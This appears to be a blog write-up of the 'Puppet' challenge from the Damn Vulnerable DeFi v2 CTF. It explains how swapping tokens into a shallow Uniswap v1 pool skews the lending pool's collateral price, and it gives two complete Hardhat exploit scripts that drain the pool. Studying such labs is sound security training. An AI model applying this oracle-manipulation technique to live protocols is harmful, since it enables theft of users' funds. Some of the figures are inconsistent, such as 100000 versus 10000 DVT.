08.Puppet
2023-06-23 20:22:08 # 05.Damn Vulnerable DeFi v2 CTF

Puppet

analyse

the whole business

borrow(): you can borrow DVT from the lendingPool, but you should Mortgage twice the depositRequired while the depositRequired depends on the proportion of uniswapPair.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(borrowAmount);

require(msg.value >= depositRequired, "Not depositing enough collateral");

if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}

deposits[msg.sender] = deposits[msg.sender] + depositRequired;

// Fails if the pool doesn't have enough tokens in liquidity
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");

emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

My understanding is that we gave PuppetPool 10000 DVT at the beginning, and then went to the exchange to addLiquidity [10ETH : 10DVT]. lendingPool lends DVT according to the liquidity ratio of the exchange .
But when the PuppetPool is lent, it needs to charge twice the deposit[depositRequired]. At the beginning, the liquidity ratio is 1:1, and we will make the ratio unbalanced. For example 0.1ETH to exchange for 1000DVT, and then the depositRequired will become very small. The 25ETH of attacker is enough to exchange for twice the depositRequired of 10000DVT.

Such a shallow pool can be easily manipulated. We can manipulate the proportion of uniswap.

The solution is the following:

  1. Exchange the attackers 1000 DVT token to ~ 9.9 ETH using the v1 pool (We can’t buy all the ETH from the pool).
  2. This will cause that 1 DVT = 0.1 / 1010 (0,00009901 ETH)
  3. To borrow the 100000 DVT we will need ~19.95 ETH
  4. Borrow all DVT tokens available from the PuppetPool .

the uniswap v1 we should learn, this is the github link.

solution

tokenToEthSwapInput and tokenToEthSwapOutput: one of them is counting the ETH which u will get base on how much token u provide, the other is to calculate the token required to obtain a specific number of ETHs

  • solution 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */

await this.token.connect(attacker).approve(this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);
await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE.sub(1),
1,
9999999999
);
// 先计算borrow所有的token需要多少的eth
const amount = await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, {value:amount});

});
  • solution 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

it('Exploit', async function () {
// approve all tokens from attacker to exchange
await this.token.connect(attacker).approve( this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);

//Buy as many ETH as possible with attackers available DVT token, this will break the 1:1 ratio
// drives down the needed collateral drastically
const tx = await this.uniswapExchange.connect(attacker).tokenToEthSwapOutput(ethers.utils.parseEther('9.9'),
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{ gasLimit: 1e6 }
);
await tx.wait();

const depositRequired = await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
expect(depositRequired < ATTACKER_INITIAL_ETH_BALANCE).to.be.true;
// borrow the max amount of token
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, {value: depositRequired})
});